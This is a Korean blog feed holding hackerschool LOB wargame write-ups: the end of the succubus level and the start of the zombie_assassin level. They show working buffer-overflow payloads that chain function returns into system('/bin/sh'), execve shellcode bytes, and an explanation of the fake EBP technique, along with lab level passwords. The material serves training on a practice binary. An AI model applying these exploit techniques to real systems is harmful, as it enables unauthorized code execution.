&lt;pre id=&quot;code_1708423601322&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[dummy 값] * 44 + [DO 함수의 주소] + [GYE 함수의 주소] + [GUL 함수의 주소] + [YUT 함수의 주소] + [MO 함수의 주소] + [system 함수의 RET 부분] + [&quot;/bin/sh&quot; 문자열의 주소]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload 구성은 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;RET 부분에 덮어쓸 값은 DO 함수의 주소여야 하므로 DO 함수의 주소로 넣어주고, DO 함수의 RET 부분에는 다음으로 실행할 함수의 주소를 넣는 방식으로 다른 함수들의 RET 부분들도 동일한 방식으로 채워준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 마지막 MO 함수에서는 system() 함수가 실행되고, system() 함수의 RET 부분은 dummy 값으로 채워준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;마지막으로 system() 함수의 인자로 &quot;/bin/sh&quot; 문자열의 주소를 payload 마지막에 넣어줘야 하는데, 문제 조건에서 첫번째 커맨드라인 인자에 0x40 값이 포함되면 안되므로 공유 라이브러리에서 &quot;/bin/sh&quot; 문자열의 주소를 추출하는 방법은 이용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그렇다면 첫 번째 커맨드라인 인자에 &quot;/bin/sh&quot; 문자열을 넣고 core 파일을 생성해 분석하여 해당 &quot;/bin/sh&quot; 문자열의 주소를 찾아 payload를 수정하는 방법을 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708423927656&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[dummy 값] * 44 + [DO 함수의 주소] + [GYE 함수의 주소] + [GUL 함수의 주소] + [YUT 함수의 주소] + [MO 함수의 주소] + [system 함수의 RET 부분] + [&quot;/bin/sh&quot; 문자열의 주소] + [&quot;/bin/sh&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그렇다면 최종 테스트 payload 구성은 위와 같을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqKpLQ/btsE7sCVB3e/2nuaukLhLKhIJGXB1SqRGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqKpLQ/btsE7sCVB3e/2nuaukLhLKhIJGXB1SqRGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqKpLQ/btsE7sCVB3e/2nuaukLhLKhIJGXB1SqRGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqKpLQ%2FbtsE7sCVB3e%2F2nuaukLhLKhIJGXB1SqRGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1586&quot; height=&quot;449&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708424209325&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./succubus2 `python -c 'print &quot;a&quot; * 44 + &quot;\xec\x87\x04\x08&quot; + &quot;\xbc\x87\x04\x08&quot; + &quot;\x8c\x87\x04\x08&quot; + &quot;\x5c\x87\x04\x08&quot; + &quot;\x24\x87\x04\x08&quot; + &quot;bbbb&quot; + &quot;cccc&quot; + &quot;/bin/sh&quot;'`

gdb -q -c core

x/40x $esp-48

x/s 0xbffffc68&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;테스트 paylaod의 구성에 맞게 payload를 만들어 core 파일을 생성 후 분석해보면 &quot;/bin/sh&quot; 문자열이 있는 스택 주소는 0xbffffc68이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biccf1/btsE1C06IbD/1rftsgraTnF6kkKoeOaqG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biccf1/btsE1C06IbD/1rftsgraTnF6kkKoeOaqG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biccf1/btsE1C06IbD/1rftsgraTnF6kkKoeOaqG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbiccf1%2FbtsE1C06IbD%2F1rftsgraTnF6kkKoeOaqG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1586&quot; height=&quot;216&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708424324103&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;`python -c 'print &quot;a&quot; * 44 + &quot;\xec\x87\x04\x08&quot; + &quot;\xbc\x87\x04\x08&quot; + &quot;\x8c\x87\x04\x08&quot; + &quot;\x5c\x87\x04\x08&quot; + &quot;\x24\x87\x04\x08&quot; + &quot;bbbb&quot; + &quot;\x68\xfc\xff\xbf&quot; + &quot;/bin/sh&quot;'`

id

my-pass&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 수정하여 succubus 파일에 인자로 주어 실행하면 succubus의 password인 here to stay를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;DO 함수 RET 부분에서 바로 쉘 코드 실행하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서는 DO, GYE, GUL, YUT, MO 함수를 모두 호출하여 모든 조건을 만족시키며 쉘을 땄지만, DO 함수만 호출하고 DO 함수의 RET부분에 GYE 함수의 주소 대신 쉘 코드가 있는 주소를 넣어주면 되는데, 이때 쉘 코드는 &quot;/bin/sh&quot; 문자열을 스택에 넣은 것처럼 하여 쉘 코드가 있는 주소를 구해오면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D8lM9/btsE2AB1hEV/84SojCbOVMPYZtOwCVQCD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D8lM9/btsE2AB1hEV/84SojCbOVMPYZtOwCVQCD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D8lM9/btsE2AB1hEV/84SojCbOVMPYZtOwCVQCD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD8lM9%2FbtsE2AB1hEV%2F84SojCbOVMPYZtOwCVQCD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1580&quot; height=&quot;360&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708425372512&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;`python -c 'print &quot;a&quot; * 44 + &quot;\xec\x87\x04\x08&quot; + &quot;bbbb&quot; + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`

gdb -q -c core

x/40x $esp-48&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 테스트용 payload를 구성해 core 파일을 생성하고 분석하면 shellcode가 있는 주소는 0xbffffc24이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1FrvB/btsE9FhrOPZ/zkMddo5eMege128hgZkHVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1FrvB/btsE9FhrOPZ/zkMddo5eMege128hgZkHVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1FrvB/btsE9FhrOPZ/zkMddo5eMege128hgZkHVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1FrvB%2FbtsE9FhrOPZ%2FzkMddo5eMege128hgZkHVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1580&quot; height=&quot;162&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708425637678&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;`python -c 'print &quot;a&quot; * 44 + &quot;\xec\x87\x04\x08&quot; + &quot;\x24\xfc\xff\xbf&quot; + &quot;\x90&quot; * 10 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 수정하여 공격하면 위와 같이 성공하며 succubus의 password인 here to stay를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/495</guid>
      <comments>https://sean.tistory.com/495#entry495comment</comments>
      <pubDate>Tue, 20 Feb 2024 19:42:13 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL16 (assassin -&amp;gt; zombie_assassin) : fake ebp(argv[2] 이용, system() 함수 이용)</title>
      <link>https://sean.tistory.com/494</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : assassin&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;password : pushing&amp;nbsp;me&amp;nbsp;away&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/2FRhk/btsE1DkOpkW/BAkcQ7L9GLssJgkok2DAN1/lob16.drawio?attach=1&amp;amp;knm=tfile.drawio&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;lob16.drawio&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.05MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;598&quot; data-origin-height=&quot;74&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkdXUx/btsE7ofttLV/xICjf2yNUHKSBq98ESrB2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkdXUx/btsE7ofttLV/xICjf2yNUHKSBq98ESrB2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkdXUx/btsE7ofttLV/xICjf2yNUHKSBq98ESrB2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkdXUx%2FbtsE7ofttLV%2FxICjf2yNUHKSBq98ESrB2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;598&quot; height=&quot;74&quot; data-origin-width=&quot;598&quot; data-origin-height=&quot;74&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708387513011&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf(&quot;stack retbayed you!\n&quot;);
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf(&quot;library retbayed you, too!!\n&quot;);
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf(&quot;%s\n&quot;, buffer);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;있어야&amp;nbsp;한다.&lt;br /&gt;2.&amp;nbsp;RET&amp;nbsp;부분에&amp;nbsp;덮어쓸&amp;nbsp;값이&amp;nbsp;스택&amp;nbsp;주소이면&amp;nbsp;안된다.&lt;br /&gt;3.&amp;nbsp;RET&amp;nbsp;부분에&amp;nbsp;덮어쓸&amp;nbsp;값이&amp;nbsp;공유&amp;nbsp;라이브러리&amp;nbsp;영역의&amp;nbsp;주소이면&amp;nbsp;안된다.&lt;br /&gt;4.&amp;nbsp;strncpy()&amp;nbsp;함수를&amp;nbsp;사용하여&amp;nbsp;48byte만&amp;nbsp;buffer[40]에&amp;nbsp;복사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번&amp;nbsp;문제도&amp;nbsp;이전&amp;nbsp;level15&amp;nbsp;문제와&amp;nbsp;비슷하게&amp;nbsp;no&amp;nbsp;stack,&amp;nbsp;no&amp;nbsp;RTL이다.&lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;strcpy()&amp;nbsp;함수&amp;nbsp;대신&amp;nbsp;strncpy()&amp;nbsp;함수를&amp;nbsp;사용하여&amp;nbsp;48byte만&amp;nbsp;복사한다는&amp;nbsp;점이&amp;nbsp;다르다.&lt;br /&gt;&lt;br /&gt;이 문제에서는 fake ebp 기법을 이용하라고 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;fake ebp 기법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fake&amp;nbsp;ebp&amp;nbsp;기법은&amp;nbsp;결과적으로&amp;nbsp;FPO&amp;nbsp;기법과&amp;nbsp;동일한&amp;nbsp;동작&amp;nbsp;원리이기&amp;nbsp;때문에,&amp;nbsp;FPO&amp;nbsp;기법을&amp;nbsp;먼저&amp;nbsp;이해하고&amp;nbsp;있는&amp;nbsp;것이&amp;nbsp;좋다.&lt;br /&gt;&lt;a href=&quot;https://sean.tistory.com/490&quot;&gt;https://sean.tistory.com/490&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fake&amp;nbsp;ebp&amp;nbsp;기법은&amp;nbsp;FPO(Frame&amp;nbsp;Pointer&amp;nbsp;Overflow)&amp;nbsp;기법과&amp;nbsp;거의&amp;nbsp;99.8%&amp;nbsp;비슷한&amp;nbsp;맥락으로&amp;nbsp;ip(instruction&amp;nbsp;pointer)를&amp;nbsp;변경시켜서&amp;nbsp;원하는&amp;nbsp;값에&amp;nbsp;접근하는&amp;nbsp;공격기법으로,&amp;nbsp;가짜&amp;nbsp;SFP를&amp;nbsp;만들어서&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;조작하는데,&amp;nbsp;SFP&amp;nbsp;부분만&amp;nbsp;overflow&amp;nbsp;되면&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;FPO&amp;nbsp;기법과는&amp;nbsp;달리&amp;nbsp;fake&amp;nbsp;ebp&amp;nbsp;기법은&amp;nbsp;SFP&amp;nbsp;부분과&amp;nbsp;RET&amp;nbsp;부분까지&amp;nbsp;overflow가&amp;nbsp;가능해야&amp;nbsp;한다.&lt;br /&gt;&lt;br /&gt;여기서&amp;nbsp;FPO&amp;nbsp;기법과&amp;nbsp;fake&amp;nbsp;ebp&amp;nbsp;기법을&amp;nbsp;더&amp;nbsp;자세히&amp;nbsp;비교해보자면&lt;br /&gt;&lt;br /&gt;FPO&amp;nbsp;기법은&amp;nbsp;아래의&amp;nbsp;두&amp;nbsp;가지&amp;nbsp;조건이&amp;nbsp;성립되어야&amp;nbsp;한다.&lt;/p&gt;
&lt;pre id=&quot;code_1708393988498&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. 서브 함수가 존재하고 해당 서브 함수를 호출해야 한다.
2. buffer overflow로 서브 함수 내의 SFP의 최소 하위 1byte를 덮을 수 있어야 한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;br /&gt;반면,&amp;nbsp;fake&amp;nbsp;ebp&amp;nbsp;기법은&amp;nbsp;아래의&amp;nbsp;조건이&amp;nbsp;성립되어야&amp;nbsp;한다.&lt;/p&gt;
&lt;pre id=&quot;code_1708393996110&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. SFP와 RET 부분을 덮어쓸 수 있어야 한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;FPO&amp;nbsp;기법에서&amp;nbsp;첫&amp;nbsp;번째&amp;nbsp;조건인&amp;nbsp;서브&amp;nbsp;함수가&amp;nbsp;존재하고&amp;nbsp;해당&amp;nbsp;서브&amp;nbsp;함수를&amp;nbsp;호출해야&amp;nbsp;하는&amp;nbsp;이유는&amp;nbsp;함수&amp;nbsp;에필로그&amp;nbsp;과정이&amp;nbsp;두&amp;nbsp;번&amp;nbsp;필요하기&amp;nbsp;때문이다.&lt;/p&gt;
&lt;pre id=&quot;code_1708394054837&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;참고)
함수 에필로그는 leave와 ret 명령으로 이루어져 있는데 이 두 명령들의 내부 동작은 아래와 같다.

[leave]
mov esp, ebp
pop ebp

[ret]
pop eip
jmp eip&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 fake ebp 기법에서는 서브 함수가 없어도 RET 부분에 leave; ret 가젯의 주소를 넣어줌으로써 서브 함수를 호출하여 함수 에필로그를 한번 더 진행하는 것과 같은 효과를 내는 것이다.&lt;br /&gt;&lt;br /&gt;그리고&amp;nbsp;FPO&amp;nbsp;기법에서&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;조건인&amp;nbsp;서브&amp;nbsp;함수&amp;nbsp;내의&amp;nbsp;SFP의&amp;nbsp;최소&amp;nbsp;하위&amp;nbsp;1byte를&amp;nbsp;덮어쓸&amp;nbsp;수&amp;nbsp;있어야&amp;nbsp;한다는&amp;nbsp;조건이&amp;nbsp;있는데,&amp;nbsp;SFP&amp;nbsp;부분의&amp;nbsp;1byte만&amp;nbsp;변조할&amp;nbsp;때는&amp;nbsp;이용할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;스택&amp;nbsp;공간&amp;nbsp;범위에&amp;nbsp;있어&amp;nbsp;약간의&amp;nbsp;제한이&amp;nbsp;있었다.&lt;br /&gt;&lt;br /&gt;반면,&amp;nbsp;fake&amp;nbsp;ebp&amp;nbsp;기법에서는&amp;nbsp;SFP&amp;nbsp;부분&amp;nbsp;전체를&amp;nbsp;변조할&amp;nbsp;수&amp;nbsp;있으므로&amp;nbsp;이용할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;스택&amp;nbsp;공간&amp;nbsp;범위에&amp;nbsp;있어&amp;nbsp;제한이&amp;nbsp;없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;fake ebp 기법 사용 시 스택의 변화&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BqvZE/btsEZa4E5m7/AGljxcgVuvck3QXMbqknpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BqvZE/btsEZa4E5m7/AGljxcgVuvck3QXMbqknpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BqvZE/btsEZa4E5m7/AGljxcgVuvck3QXMbqknpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBqvZE%2FbtsEZa4E5m7%2FAGljxcgVuvck3QXMbqknpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;427&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;왼쪽과 같이 스택이 구성되어 있을 때 fake ebp 기법을 이용해 buffer[40]에는 shellcode가 있는 공간의 주소를 넣고, SFP 부분에는 buffer[40]의 주소에서 4를 뺀 주소를 넣고, RET 부분에는 leave; ret 코드 가젯의 주소를 넣는다면 오른쪽과 같이 구성될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYy6hY/btsE7u7Qz9k/Fyp34dWAFIKBXgfLc77VFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYy6hY/btsE7u7Qz9k/Fyp34dWAFIKBXgfLc77VFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYy6hY/btsE7u7Qz9k/Fyp34dWAFIKBXgfLc77VFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYy6hY%2FbtsE7u7Qz9k%2FFyp34dWAFIKBXgfLc77VFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1014&quot; height=&quot;427&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;main 함수의 함수 에필로그가 시작되면서 leave 명령이 수행되는데 먼저 leave 명령의 mov esp, ebp로 인해 위와 같이 esp가 ebp와 동일한 위치로 이동된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;현재 SFP 부분에는 buffer[40]의 주소에서 4를 뺀 0xbffffc7c 값이 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
